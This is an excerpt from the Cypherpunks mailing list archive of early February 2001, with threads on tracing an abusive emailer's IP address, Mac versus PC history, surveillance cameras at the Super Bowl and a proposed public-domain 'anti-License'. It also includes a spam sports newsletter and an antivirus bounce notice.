Marshall Clow     Idio Software   <mailto:mclow at mailhost2.csusm.edu>

It is by caffeine alone I set my mind in motion.
It is by the beans of Java that thoughts acquire speed,
the hands acquire shaking, the shaking becomes a warning.
It is by caffeine alone I set my mind in motion.




From reeza at flex.com  Thu Feb  1 20:51:39 2001
From: reeza at flex.com (Reese)
Date: Thu, 01 Feb 2001 18:51:39 -1000
Subject: Palladin Press
In-Reply-To: <a0.f86462e.27ab1a2b@aol.com>
Message-ID: <4.3.2.7.2.20010201185100.00d00870@flex.com>


At 02:59 PM 2/1/01 -0500, DMBSR at aol.com wrote:
 >I need to talk with these folks -- where are they?

Second star on the left, then straight on 'til morning.

Reese




From bill.stewart at pobox.com  Thu Feb  1 19:13:40 2001
From: bill.stewart at pobox.com (Bill Stewart)
Date: Thu, 01 Feb 2001 19:13:40 -0800
Subject: Saw your post.Need help
In-Reply-To: <B0011791193@euvig1.dtc.lon.ime.reuters.com>
Message-ID: <3.0.5.32.20010201191340.01ac0a00@idiom.com>


>On 31/01/2001 08:37:55 PM OMC wrote:
>> Is there any way to track down someones address from ip number.  Someone is
>> sending me malicious email and i want to identify who he is.
>
>> I have his basic information.  Can you help me?

Depends a lot on what "basic information" means.

At 09:11 AM 2/1/01 +1000, Kevin Cousins wrote:
>  Focus your query on "DNS reverse lookup" or similar.

An IP address identifies an interface on a machine,
and the machine is probably either operated by a service provider
or gets connectivity from a service provider.
Depending on the service provider, you might or might not be able
to accurately identify an account on the machine in question, 
and may or may not get them to tell you what information they know about
the account;
if they give it to you, that information may or may not actually provide you 
true or usable contact information about the owner of the account, 
who may or may not be the person actually _using_ the account to send you
the mail.
Alternatively, the service provider may have a privacy policy that
refuses to tell _you_ the information about the account,
but may allow them to delete the account if the user violates their policies.

So start with the address you have - is it the address for a well-known 
free email service (e.g. hotmail, yahoo, iname, mail.com, netzero, juno).
If so, Murphy says the account holder probably provided bogus or 
non-useful info when setting up the account, so even if their privacy
policy lets them tell you that the account belongs to
"Bill Clinton, 1600 Pennsylvania Ave, Washington DC",
the return address is no longer valid.  But you might get the ISP
to delete the email account; that's the most you'll get
unless there's clear criminal activity or you want to hire a 
lawyer for a lawsuit.

If it's a commercial ISP providing non-free service, the user might
have a real account they're paying for, which means they're more
likely to have used real account information, but the ISP is likely
to be less willing to tell you any of it, or to delete the account
because they're making money from it, unless it clearly violates
their terms of service.

If all you know is the IP address, how do you find the machine?
The whois function on arin.net lets you look up the IP address,
which may belong to the machine's owner, or else to an ISP.
The whois function on betterwhois.com can tell you registration information
about the domain name of the machine.
Traceroute's pretty good about identifying machines, and hence ISPs,
which is particularly useful if the IP address is on a machine belonging 
to the person you dislike rather than a sevice provider.
(MSWindows's "tracert" is a wimpy version of the same utility.)
Of course, that doesn't always work, especially if the machine hosts
a bunch of domain names for customers (most web servers do;
many email servers also do), so the same IP address is used for
bigisp.net and user1 at bigisp.com and also user1-domain.com,
for user1, user2, user3, .... etc.  ISPs are usually even less willing
to drop paying customers with large machine connections,
unless there's a spam problem.

It used to be that in cyberspace, nobody could hear you scream,
but most machines have sound cards these days.
You could record some screams and email them to the miscreant,
then see if you can hear them when they receive and play them :-)
It's more effective for people in your office than outsiders. :-)

				Thanks! 
					Bill
Bill Stewart, bill.stewart at pobox.com
PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639




From pzakas at toucancapital.com  Thu Feb  1 17:17:59 2001
From: pzakas at toucancapital.com (Phillip H. Zakas)
Date: Thu, 1 Feb 2001 20:17:59 -0500
Subject: The Register - There are still crypto reg's...
In-Reply-To: <Pine.LNX.4.21.0102011537290.22389-100000@bolt.sonic.net>
Message-ID: <GBELJJCAPDDMIIAANOCJCECCCIAA.pzakas@toucancapital.com>


I completely concur there's a feedback loop problem, but its Apple's fault I
think.  I remember when the first MACs came out you had to pay $5K just for
the privilege of programming for it.  What numbskulls!  The intel platforms
were the first to encourage development because bios ref. guides were cheap
and most could afford the $100 of a pascal, c or asm compiler.  Plus the
intel-platform hw (ibm, compaq, etc.) was really designed to handle
multitasking and simultaneous networking/communications.  Apple only
recently started to get the hint and improve the hardware.

As for the P2P stuff, I think you're right here too: it should be everywhere
all the time. Every linux distro, etc. should include it.  That's a great
way to hit critical mass.  But I do think that a really useful app will find
its way across the internet.  Remember ICQ before AOL bought it?  It was one
of the few things that hit big and hit fast (partly because AOL's IM service
wasn't available yet.)  Napster hit the same way.  Gnutella was never the
kind of thing the average non-programmer 19 year old cares about so it has,
and will continue to have, a small user base.

As for the open source comments, I do believe Linux is a truly powerful
force, but I am skeptical that most of the people 'peer reviewing' code
actually know what they're talking about.  Do they really know what
threading is?  I'm always surprised to find script kiddies borrowing code
frankenstein-style ('frankensteining code' in my own description) to piece
together really poor stuff that 'works' but not very well.  I'm less worried
about malicious code in linux than I worry about getting code that works.
In contrast openbsd has a more targeted programmer base and seems to be
developing in a more stable fashion.  Anyway I'll continue to work with
linux because i recognize the market drives technology but i do wish we'd
find better programmers for linux.
phillip




-----Original Message-----
From: owner-cypherpunks at Algebra.COM
[mailto:owner-cypherpunks at Algebra.COM]On Behalf Of Ray Dillinger
Sent: Thursday, February 01, 2001 7:08 PM
To: Phillip H. Zakas
Cc: cypherpunks at einstein.ssz.com
Subject: Re: RE: The Register - There are still crypto reg's...





On Thu, 1 Feb 2001, Phillip H. Zakas wrote:


>Apple is a pretty computer and everything, but there's so much to be
desired
>from their os programmers (not saying microsoft is the best, just saying
the
>mac os really stinks.)

There's kind of a feedback loop here; Windows achieved critical
mass and Apple didn't.  Hence, MS can afford to hire lots more
engineers to work on their CRAPPY os than Apple can hire to work
on their mediocre os.  So, after a while, Windows got better than
the MacOS.

I remember how hard Win3.11 sucked compared to MacOS 5.  But once
true multitasking was under WinNT3.51, it was about Neck-and-neck
for quality with MacOS 7.  And like Mr. Zakas, I'm pretty convinced
that even though MacOS 10 has true multitasking, it has definitely
fallen behind WinNT 4.

ObCryptoStuff; this same kind of "critical mass" phenomenon
affects lots and lots of the stuff we're looking at.  Freenet,
Mojo Nation, Napster, Gnutella, Digital Cash, etc, even PGP and
GPG - All have a value that depends directly on how many other
people are using them. If they don't grow beyond a certain
threshold size, they remain less useful than the disk space they
occupy.  But where is the threshold and when is it passed?

And how do you get there?

If P2P agents were distributed with a couple of the major linux
distributions (say Red Hat and SuSE) they'd probably achieve
critical mass fairly fast (especially if they were set up and
configured during install, the way Apache increasingly is).
And if they were opensource, they'd probably get into ALL linux
distributions within a few years.

But so far most of the people doing P2P are trying to make a buck
off of it, so with the exception of gnutella, there aren't open-
source agents.

				Bear
















From adam at homeport.org  Thu Feb  1 17:21:54 2001
From: adam at homeport.org (Adam Shostack)
Date: Thu, 1 Feb 2001 20:21:54 -0500
Subject: Realtime facial recognition cameras used at Super Bowl
In-Reply-To: <20010201143416.F12518@ideath.parrhesia.com>
References: <20010201115613.E12518@ideath.parrhesia.com> <20010201152651.A5187@weathership.homeport.org> <20010201143416.F12518@ideath.parrhesia.com>
Message-ID: <20010201202154.A7101@weathership.homeport.org>


On Thu, Feb 01, 2001 at 02:34:17PM -0800, Greg Broiles wrote:
| > 
| > One of the more troubling (to me) things is Chemerinsky's comment that 
| > people have no expectation of privacy in public.  The idea that you
| > may follow someone around with a video camera, take mm scale radar
| > pictures through their clothes, etc, etc without their permission
| > because they are in a public space is simply wrong.
| 
| I think it's important to flesh out what you mean by "wrong" - if you
| mean that he's misread US law on this topic, I agree with him, not you -
| the privacy and publicity (and 4th Amendment) cases have for the most
| part agreed that it's perfectly permissible to record (mechanically
| or electronically) whatever's perceptible from or in a public place.

I mean wrong as in unethical, not illegal.

More comments to follow, if I can find some free time. ;)

Adam


| 
| This summary of the legal and practical history of video surveillance 
| may be of interest -
| 
| <http://www.library.ca.gov/CRB/97/05/>
| 
| There are a few limited exceptions - as of Jan 1 2000, California
| criminalized surreptitious nonconsensual videotaping under or
| through another person's clothing for sexual purposes, where the
| victim had a reasonable expectation of privacy (CA Penal Code 
| 647(k)(2)), but that's pretty limited. There's a table of state
| voyeurism statutes at
| <http://www.law.about.com/newsissues/law/library/docs/n98voyeurlaws.htm>
| but it's a few years old - of the 12 states listed there, I'd say
| that only two (AK and TN) appear to even potentially criminalize
| surveillance or recording in public places. 
| 
| I get the impression that other states may eventually criminalize
| sexually oriented surveillance - but I anticipate the statutes will
| be aimed at sexual or voyeuristic content, and won't touch garden
| variety baby-brother surveillance for behavior control. 
| 
| > The free-speech-chilling nature of this technology should be clear.
| 
| Yes, but that's a two-edged sword - the free press implications of
| limiting recording, depicting, and describing public content are
| also very serious - I think the people most likely to successfully
| use a law against public recordings would be police officers going
| after people like the ones who videotaped the beating of Rodney King.
| There's a persistent rumor that in CA, cops act very aggressively
| to prosecute people who surreptitiously tape encounters like traffic
| stops - I've got no idea whether or not that's true.


-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume





From info at sportshollywood.com  Thu Feb  1 21:03:01 2001
From: info at sportshollywood.com (Sports Hollywood)
Date: Thu, 01 Feb 2001 21:03:01 PST
Subject: SportsHollywood - Late Edition
Message-ID: <200102020502.WAA29971@s0210.pm0.net>


SportsHollywood.com
   Newsletter
   LATE EDITION
For the week of Friday, February 2, 2001

"They're selling sex."
-- Art Model, owner of the Super Bowl champions Baltimore 
Ravens, on the XFL (the league says the "X" doesn't stand 
for anything).

"Hot Babes." 
-- Vince McMahon of the XFL, describing his cheerleaders. 
The league debuts this weekend.

STARTING LINE
Thousands of Super Bowl fans were subjected to a 
"computerized police lineup" at America's biggest sporting 
event last weekend as police used cutting-edge technology to 
scan the crowd for criminals...

... So how did Ray Lewis get in...?

HOLLYWOOD SPORTS
The XFL football league will be unveiled this weekend. The 
league revealed they will put cheerleaders on raised 
platforms, making their underwear visible to fans and 
cameras...

... Vince McMahon always did put women on a pedestal...

POST SUPER BOWL
After being trounced by the Baltimore Ravens in the Super 
Bowl, New York Giants head coach Jim Fassel guaranteed his 
team would return to the Super Bowl, and do so soon...

... Even if we're just in the hotel across the street, 
watching on TV...

NBA
There is no evidence an Indiana fan made racial slurs 
against Philadelphia guard Allen Iverson during a game, a 
Pacers spokesman said Thursday. NBC taped Iverson shouting a 
derogatory remark about gays back at the fan near the end of 
the 76ers' 86-81 victory Sunday in Indianapolis...

... It wasn't a fan - they were playing Iverson's rap album 
over the arena sound system...

HORSE RACING
Make it 99 straight defeats for Quixall Crossett, the 
world's losingest racehorse. The 16-year-old gelding failed 
to finish a 3-mile race Thursday at the Scottish course of 
Kelso. Trailing the field for most of the way, Quixall 
Crossett was well behind when his rider decided to pull up. 
Quixall Crossett went off as a 200-1 shot in a field of nine 
in the Isle of Skye Novices' Chase, which was won by 
favorite Lord of the Sky. Quixall Crossett's losing streak 
began in 1990. Caine has to decide where and when his 
thoroughbred will make his 100th appearance...

... I hear there's a glue factory not too far away...

NFL
Ron Wolf, the architect of the Green Bay Packers' return to 
the Super Bowl in the mid-1990s, retired as executive vice 
president/general manager on Thursday... 

... Now Mark Chmura needs him to be the architect of his 
defense...

THIS WEEK IN SPORTS HISTORY
In 1997, former Atlanta Olympic bombing suspect Richard 
Jewell agreed to a $500,000 deal that gave 20th Century Fox 
the right to make a feature film about his ordeal at the 
hands of the media and the FBI...

... So he WAS be responsible for a bomb...

BOXING
Spectators in a Turkish town cheered recently as two 
four-year-old girls squared off in a boxing ring.  The 
girls, who were wearing safety helmets, exchanged blows to 
the head and repeatedly knocked each other down...

... Nick At Night is now pondering Pay-per-view...

PENALTY BOX
Seattle SuperSonics forward Ruben Patterson was suspended by 
the NBA for three games Thursday because of his conviction 
on an assault charge for breaking a man's jaw...

... The team also suspended him for doing Gary Payton's job...

The teen who accused Mark Chmura of sexual assault flirted 
with the former Green Bay Packers player at a post-prom 
party, a high school football player testified Thursday. 
Michael Kleber testified that he watched Chmura's accuser go 
willingly into a bathroom where the alleged assault took 
place. Chmura, 31, has pleaded innocent to third-degree 
sexual assault and child enticement charges, both felonies. 
He could face up to 40 years in prison and $20,000 in fines...

... "That underage kid I had illegal sex with - it wasn't my 
fault; SHE WANTED IT!!!"

For the entire Offensive Line:
http://www.sportshollywood.com/shnews.html

YOU'RE OUT:
"I'm a golfer -- not an athlete."
-Lee Westwood of Britain, then the world's fifth-ranked golfer.

The Dumbest Sports Quotes of All Time:
http://www.sportshollywood.com/dumbquotes.html


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* To remove yourself from this mailing list, point your browser to:
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* Enter your email address (cypherpunks at toad.com) in the field
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From ravage at einstein.ssz.com  Thu Feb  1 19:32:50 2001
From: ravage at einstein.ssz.com (Jim Choate)
Date: Thu, 01 Feb 2001 21:32:50 -0600
Subject: Plan 9 Wiki (Plan 9 wiki)
Message-ID: <3A7A2A62.C4711A8E@ssz.com>

http://plan9.bell-labs.com/wiki/plan9/1/
-- 
    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------
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From ANTIGEN_EXCHANGE at thinklinkinc.com  Thu Feb  1 22:14:34 2001
From: ANTIGEN_EXCHANGE at thinklinkinc.com (ANTIGEN_EXCHANGE)
Date: Thu, 1 Feb 2001 22:14:34 -0800 
Subject: Antigen found W32/Hybris@m virus
Message-ID: <3475CE1F1D75D4118174009027A4CDE6322C84@exchange.thinklinkinc.com>

Antigen for Exchange found midgets.scr infected with W32/Hybris at m virus.
The file is currently Deleted.  The message, "Snowhite and the Seven Dwarfs
- The REAL story!", was
sent from Hahaha  and was discovered in IMC Queues\Inbound
located at ITC/Corporate/EXCHANGE.
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From hseaver at harmon.arrowhead.lib.mn.us  Thu Feb  1 20:40:15 2001
From: hseaver at harmon.arrowhead.lib.mn.us (Harmon Seaver)
Date: Thu, 01 Feb 2001 22:40:15 -0600
Subject: The Register - There are still crypto reg's...
References: <Pine.LNX.4.21.0102011537290.22389-100000@bolt.sonic.net>
Message-ID: <3A7A3A20.82C05A81@harmon.arrowhead.lib.mn.us>


Ray Dillinger wrote:

> On Thu, 1 Feb 2001, Phillip H. Zakas wrote:
>
> >Apple is a pretty computer and everything, but there's so much to be desired
> >from their os programmers (not saying microsoft is the best, just saying the
> >mac os really stinks.)
>
> There's kind of a feedback loop here; Windows achieved critical
> mass and Apple didn't.  Hence, MS can afford to hire lots more
> engineers to work on their CRAPPY os than Apple can hire to work
> on their mediocre os.  So, after a while, Windows got better than
> the MacOS.
>

    Says who? I mostly run unix boxes for a living and for fun, but I also have
a Mac at home for DTP and stuff like that. It's a million times preferable to
windoze -- ask any of the pre-press and other graphics professionals. Mac's rule
in that arena, except for those who can afford SGI.

>
> I remember how hard Win3.11 sucked compared to MacOS 5.  But once
> true multitasking was under WinNT3.51, it was about Neck-and-neck
> for quality with MacOS 7.  And like Mr. Zakas, I'm pretty convinced
> that even though MacOS 10 has true multitasking, it has definitely
> fallen behind WinNT 4.
>

       Well, as one who has to support a large number of windoze boxes (tho my
staff does most of the PC stuff), I'll take Macs over windoze any day of the
week. A single sys admin can support 4 times the number of Macs than windoze
boxes. NT might be more stable than 95/98, but it doesn't have the multimedia
and other features that Macs/windoze have, so it just doesn't make it for
desktops. And 2000 is not an option for most of the 400 or so boxes we have,
they barely have what it takes to run 95. Heck, one of our biggest libraries has
mostly 486's. I'd trade every windoze box we have for Macs if I could. They are
not just 4 times less hassle to support, but they are much, much easier to use
for the non-geeks.
       If you have to deal with windoze a lot on a lot of different machines, it
becomes pretty clear that it is just a truly disgusting piece of garbage, just
endless weirdness, one app install trashes another, an uninstall trashes
something else, just weird, weird, weird. Mac's just work, and work right, for
the most part. Of course, nothing is as nice as unix, but at least Mac's are
tolerable.








From adam at cypherspace.org  Thu Feb  1 19:51:32 2001
From: adam at cypherspace.org (Adam Back)
Date: Thu, 1 Feb 2001 22:51:32 -0500
Subject: CypherPunks anti-License (CPL)
Message-ID: <200102020351.WAA01026@modemcable058.96-200-24.mtl.mc.videotron.ca>



Some may recall the "cypherpunks license" debate back in 1998 and
continuing for a few hundred posts with contributions from Richard
Stallman, Eric Raymond, Eric Young, and numerous others.

It starts around here (a little before, but the threading doesn't go
back past subject line change).

http://www.inet-one.com.my/cypherpunks/dir.1998.09.28-1998.10.04/msg00018.html

(The search tool on http://www.inet-one.com.my/cypherpunks/ doesn't
seem to work for pairs of words.  But google will find lots of
"cypherpunks license" on inet-one.)

So I was releasing some source code I wrote a couple of days ago, and
it struck me that perhaps it might be fun to try doing what was
discussed back then, and put a license on it which explained the
motivations and made the thing a little more free than putting it in
the public domain.  (I so far have put no license at all on anything
I've released).

So here's a cypherpunks license proposal.

Generally it's a statement of how things would be if there were no IP
laws governing copyright and related licensing, and an attempt to
allow people to act as close to as if such laws did not exist given
current laws.  In addition for people who publish anonymously, and
consume anonymously it avoids making silly claims based on force
monopoly backed legal constructs which couldn't be applied to an
anonymous actor.

It tries to say:

- you can do what you want with this, and I can't change my mind about
  these terms for this copy

- I won't attack you in court for IP related laws

- you can redistribute it under other licenses

- you can claim you wrote it

- you can advertise it anyway you like

- copyright isn't compatibile with privacy, and anyway needs to die.

- you don't have to send me patches

This is not to say a distributor would necessarily like all of these
things but it acknowledges that he would not able to enforce these
things in an IP law free world.  Instead such requests are recognised
for what they are -- requests only.

I'm not sure about the implications of the fact that the author could
change his mind, and/or distribute different copies of the same under
different licenses.  Presumably if someone has a copy you released
with the statement that it is in the public domain, and that you won't
revoke that, you can't then do anything to them in a court afterwards
relating to their use or further distribution.

The acronym is a little bit of a stretch, but I thought it would be
more easily fit into the GPL, MPL pattern and so be recognised as to
do with licensing.

It struck me after a while that it was not a license because a license
presumes you have some right to exert control.  So I used
anti-license.  It's a notice that the work is placed into the public
domain together with a pledge about behavior to expect from the
distributor.

Also notice that the person making the pledge is not called the
licensor (as it isn't a license), and also not the author as the
distributor doesn't have to be the author.  The CPL presumes people
will distribute collections of things where they are not the author,
copyright holder, and are barred under existing laws from distributing
perhaps.

There's also this crappy law against illegal contracts, which may
easily affect this in some circumstances.

Also there is the requests clause.  It tries to say that the CPL
distributor won't enforce in court his requests.  This seems
reasonable enough otherwise that would violate the spirit of the CPL,
and would anyway not be a request, but more a threat.

And of course the CPL is itself distributed under the CPL, so anyone
can change it, call the changed versions whatever they want etc.

I suppose the only reasonable request to place on the CPL would be to
mark modified versions as modified to avoid confusion, so that people
know what they're referring to.

Well here we go... comments solicited.

Below in text, or here:

      http://www.cypherspace.org/CPL/

(I may edit this as things occur to me, or people comment on things).

Adam

======================================================================
Cypherpunks anti-License

Intent

The intent of the Cypherpunks anti-License (CPL) is to inform users
that they are free to use and redistribute the indicated work or any
derived or modified work in any manner they choose. Works distributed
under the CPL are in the Public Domain.

Licensing

The CPL is not a license, it does not require the user to do or not do
anything; the user does not agree to any terms, because there are no
terms, and the user does not need to do anything to indicate
acceptance or rejection of the CPL.

Non Litigation

The CPL serves to pledge to the user that the distributors will behave
in a manner consistent with the non-existance of Intellectual Property
(IP) laws as far as they are able. The distributors will not use or
participate as far as they are able to government legal systems to
attempt to enforce requests restricting the use, modifications, or
redistribution of the work for perpetuity. The distributor may prefer
to be anonymous to preclude attempts to coerce them into enforcing IP
laws relating to this work against their will.

Requests

The work may be distributed with some distributor requests in addition
to the CPL. The distributor pledges similarly to not attempt to use IP
laws to enforce these requests.

Redistribution

Users choosing to redistribute this work may change anything about the
work, including distributing it under a different license, and adding
or removing previous distributors requests.

Interpretation

The CPL is completely liberal. Here are some examples of implications
of this which are not true for many licenses. The user can
redistribute the work or a derived or modified work

   * under a different license of their choosing
   * with or without source code as they choose
   * without acknowledging the distributors or authors
   * with false or innaccurate claims about authorship of the work
   * advertise without acknowledging the authors

Requests can be arbitrary, but are requests only. Example of requests
that the distributor may choose to make:

   * that improvements to the work be drawn to the distributors attention
   * that improvements to the work be released back to the distributor 
     under the CPL
   * that the distributors name not be used to advertise derived works
     without the distributors approval

Legacy Considerations

The distributor may choose to inform the user of his opinion of the IP
status of the work, for example by identifying any IP law restricted
aspects such as the copyright holders of parts or the whole of the
work, trademark owners of trademarks used in the work, potentially
applicable patents on algorithms or ideas contained in the work, but
the distributor is not obliged to do so and takes no responsibility
for the accuracy of such information.

Background

The CPL is written from a mindset which derides the very concept of
Intellectual Property restrictions as being incompatible with a free
society.

Cryptographically assured anonymity and anonymous use of Internet
resources mean that denizens of cypherspace can ignore copyright,
licenses attempting to control use and distribution of works, and
patents on ideas. It is not possible to enforce IP laws by calls to
government legal systems when the flaunter is strongly anonymous.

The enforcement of IP law and anonymity are in direct conflict. To
fully enforce IP laws, anonymity would have to be
outlawed. Cypherpunks believe this would be a bad thing, because
control of information imparts power, and anonymity gives individuals
control over disclosure of information about themselves and their
actions.
======================================================================




From pzakas at toucancapital.com  Thu Feb  1 21:51:32 2001
From: pzakas at toucancapital.com (Phillip H. Zakas)
Date: Fri, 2 Feb 2001 00:51:32 -0500
Subject: Mac vs. PC religious war claims
In-Reply-To: <a05010403b69fc702dd03@[207.111.241.188]>
Message-ID: <GBELJJCAPDDMIIAANOCJMECECIAA.pzakas@toucancapital.com>



Ok I'm honestly not interested in a religious war (your term).  I will
clarify my earlier comments.  For me this issue is really about developing
and keeping market momentum and the impact poor momentum has on the
evolution of a computer line -- if Apple were as big in the market as
intel-based stuff we'd probably have better apple hw and sw.  This is the
feedback loop problem in my opinion.

Putting up barriers to development makes no sense when launching a computer.
The $5K license I referred to was required as late as 1992 (when I purchased
one for an app I wrote and sold commercially), and yes was eventually
dropped.   But by then the damage of:

- going after the K-12 education market rather than the colleges and
business schools...
- focusing on 'cool' and the niche graphic markets...
- charging developers to develop and sell apps for the mac...

...had really taken their toll.  I'm not sure, but I don't think Apple ever
received more than 15% market share, right?  Apple had many innovative
products but they rarely evolved beyond the cpu and beyond simply adding new
features or network cards, etc. (except for the messagepad which evolved
quickly then suddenly died).

I think early policies regarding developers really matter in a computer
product launch.  In contrast to apple which always had a relatively closed
and proprietary system (if you remember, apple didn't release hw and io
details), IBM opened up the BIOS calls almost immediately leading to TSRs,
etc.  Plus apple always discouraged clones (except for a brief period), so
all innovation had to come from apple and the apple team is focused on
consumers and not on, say, scientists and data centers so
development/evolution was designed to please consumers. In contrast, the
intel platforms always enjoyed clones (esp. after ibm began to license bios)
and now we have dozens of specialty vendors creating motherboards, network
cards, memory busses, etc. for intel platforms.  There are way more vendors
supporting and programming for the intel platform than the apple platform as
a result (I think anyway).

As for the multitasking stuff, I agree efficient multitasking is handled by
the OS, but there's more to it than the OS alone.  Nice HW has the design to
handle several devices at once with the goal of efficiently interacting with
the OS/apps.  I might be wrong, but one environment this becomes clear is
not the home, but the data center.  My point of reference is this: I spent
months working with a TV network and Apple Computer trying to get a large
number of G3s to efficiently scale to handle a large streaming media event.
It didn't work very well because the Macs couldn't be strung together in the
way you can cluster other platforms; each machine couldn't handle their
ethernet interfaces very efficiently (less than 20% efficiency was common --
try it yourself on your laptops) and the units burned a lot of time
constructing/deconstructing tcp connections (which was likely a tcp/ip stack
and/or multithreading problem), and of course apple lacks an application
server making management and scalability pretty difficult.  I tried to pull
the G3s into service because i'm a fan of the open source release of the
Apple quicktime streaming media material (very nice quality).  And I was
disappointed I couldn't scale the G3s (despite the help from apple and
others).  Maybe things have changed in the last 12 months, but I'm not sure
about that (maybe my desgin for the streaming center was bad but the
alternative design works well today).

Look I hate the whole mac/pc debate because it's not interesting to me.  but
I do think there were mistakes/decisions made early on which have made apple
what it is today in the marketplace.  as for some of the technical
challenges I'm not sure this list is the right forum to respond but i could
provide concrete foundations for some of my generalizations (and I suspect
that would be terribly boring for the others on this list).
phillip
btw gag me with a spoon? :)

-----Original Message-----
From: owner-cypherpunks at Algebra.COM
[mailto:owner-cypherpunks at Algebra.COM]On Behalf Of Tim May
Sent: Thursday, February 01, 2001 9:31 PM
To: cypherpunks at Algebra.COM
Subject: Mac vs. PC religious war claims



At 8:17 PM -0500 2/1/01, Phillip H. Zakas wrote:
>I completely concur there's a feedback loop problem, but its Apple's fault
I
>think.  I remember when the first MACs came out you had to pay $5K just for
>the privilege of programming for it.  What numbskulls!  The intel platforms
>were the first to encourage development because bios ref. guides were cheap

I don't buy this. I was at Intel when the first Macs came out, I had
many friends who programmed Macs, and I myself used some of the early
(c. 1986) tools like Lightspeed C. The 3-volume (then 4-volume, then
5, etc.) set of books on programming the Mac was widely available,
and was inexpensive.

If by "first came out" you only mean "early 1984," you are possibly
right. But this is highly misleading, as by late 1985 and into '86
the tools were widely available.

This all compares favorably with what was happening the DOS world
(where, by the way, the only tools in the first year or two of the PC
were the built-in BASIC, akin to what Apple was offering in the Apple
II in 1979, the p-system from UCSD (good luck!), and the CPM-86
system. Of the three, PC-DOS, the p-system, and CPM-86, only DOS
succeeded. Ergo, all "programming tools" were the scraps and pieces
of crud related to DOS. Which, for the first few years of DOS, were
execrable.

What was happening in the DOS world at this time, at the time of the
introduction of the Mac? Well, I also used to subscribe to the
various PC mags of the day, including "PC Technical Journal." This
was the "premier" PC programming journal of its day. (Other tidbit
sources being "Dtack Grounded" and other semi-underground pubs.)

Was the Mac harder to program? Probably. Was a Mac app more usable
(more capable, more consistent) than the equivalent PC app of the
day? One guess, and the only correct answer is "That's why MS came
out with Windows."

(BTW, I had Windows 1.0 before I bought my first Mac, a Mac Plus. Gag
me with a spoon. I also had Windows 2.0, only _slightly_ better. It
was not until Windows 3, particularly 3.1, arrived that Windows
became usable. Do the math on what had passed for PC programming
prior to this.)

>and most could afford the $100 of a pascal, c or asm compiler.  Plus the
>intel-platform hw (ibm, compaq, etc.) was really designed to handle
>multitasking and simultaneous networking/communications.  Apple only
>recently started to get the hint and improve the hardware.

This is nonsense. Where do I begin?

Multitasking is an OS feature, present in Windows only in recent
years. A PC with an Intel processor running DOS is no more capable of
"multitasking" than a Mac running an early Mac OS. The Intel line is
not magically more multitasking-capable than the Motorola line. Look
at the early Sun machines based on the 68000 and 68010 for but one
illustration.

As for networking and communications, you are out to lunch. Ethernet
has been available, at a price, for many years on the Mac. In the
last _several_ years, it has been the default on nearly all Macs.

And for routine usage, all Macs since the earliest days have had
usable local area networking. LocalTalk, MacTalk, whatever the jargon
of the day.

My Windows friends are thrilled when they get Ethernet cards working.
I've had it built-in for many years. All of my Macs have been
networked, first with LocalTalk, later with Ethernet, for many years.
Wireless AirPort is now built in to most new Macs.

My G4 Mac, my iBook, and my G3 Wall Street Powerbook all have built
in Ethernet (mostly 10/100). They also have built in IEEE
1394/FireWire, USB, all the usual stuff.

I don't like Mac vs. PC religious wars, but I cannot allow
misrepresentations like the above to stand unchallenged. You,
Phillip, should be ashamed of yourself.


--Tim May
--
Timothy C. May         tcmay at got.net        Corralitos, California
Political: Co-founder Cypherpunks/crypto anarchy/Cyphernomicon
Technical: physics/soft errors/Smalltalk/Squeak/agents/games/Go
Personal: b.1951/UCSB/Intel '74-'86/retired/investor/motorcycles/guns





From pzakas at toucancapital.com  Thu Feb  1 21:54:33 2001
From: pzakas at toucancapital.com (Phillip H. Zakas)
Date: Fri, 2 Feb 2001 00:54:33 -0500
Subject: CypherPunks anti-License (CPL)
In-Reply-To: <200102020351.WAA01026@modemcable058.96-200-24.mtl.mc.videotron.ca>
Message-ID: <GBELJJCAPDDMIIAANOCJAECFCIAA.pzakas@toucancapital.com>


I'd include something along the lines of:

'use the code at your own risk.  No warranties expressed or implied.  This
is the entire warranty and supercedes anything else you might have heard or
read about this code. The code might work or it might not.  it might include
stolen or 'borrowed stuff' and it might not.'

phillip

-----Original Message-----
From: owner-cypherpunks at Algebra.COM
[mailto:owner-cypherpunks at Algebra.COM]On Behalf Of Adam Back
Sent: Thursday, February 01, 2001 10:52 PM
To: cypherpunks at Algebra.COM
Subject: CypherPunks anti-License (CPL)




Some may recall the "cypherpunks license" debate back in 1998 and
continuing for a few hundred posts with contributions from Richard
Stallman, Eric Raymond, Eric Young, and numerous others.

It starts around here (a little before, but the threading doesn't go
back past subject line change).

http://www.inet-one.com.my/cypherpunks/dir.1998.09.28-1998.10.04/msg00018.ht
ml

(The search tool on http://www.inet-one.com.my/cypherpunks/ doesn't
seem to work for pairs of words.  But google will find lots of
"cypherpunks license" on inet-one.)

So I was releasing some source code I wrote a couple of days ago, and
it struck me that perhaps it might be fun to try doing what was
discussed back then, and put a license on it which explained the
motivations and made the thing a little more free than putting it in
the public domain.  (I so far have put no license at all on anything
I've released).

So here's a cypherpunks license proposal.

Generally it's a statement of how things would be if there were no IP
laws governing copyright and related licensing, and an attempt to
allow people to act as close to as if such laws did not exist given
current laws.  In addition for people who publish anonymously, and
consume anonymously it avoids making silly claims based on force
monopoly backed legal constructs which couldn't be applied to an
anonymous actor.

It tries to say:

- you can do what you want with this, and I can't change my mind about
  these terms for this copy

- I won't attack you in court for IP related laws

- you can redistribute it under other licenses

- you can claim you wrote it

- you can advertise it anyway you like

- copyright isn't compatibile with privacy, and anyway needs to die.

- you don't have to send me patches

This is not to say a distributor would necessarily like all of these
things but it acknowledges that he would not able to enforce these
things in an IP law free world.  Instead such requests are recognised
for what they are -- requests only.

I'm not sure about the implications of the fact that the author could
change his mind, and/or distribute different copies of the same under
different licenses.  Presumably if someone has a copy you released
with the statement that it is in the public domain, and that you won't
revoke that, you can't then do anything to them in a court afterwards
relating to their use or further distribution.

The acronym is a little bit of a stretch, but I thought it would be
more easily fit into the GPL, MPL pattern and so be recognised as to
do with licensing.

It struck me after a while that it was not a license because a license
presumes you have some right to exert control.  So I used
anti-license.  It's a notice that the work is placed into the public
domain together with a pledge about behavior to expect from the
distributor.

Also notice that the person making the pledge is not called the
licensor (as it isn't a license), and also not the author as the
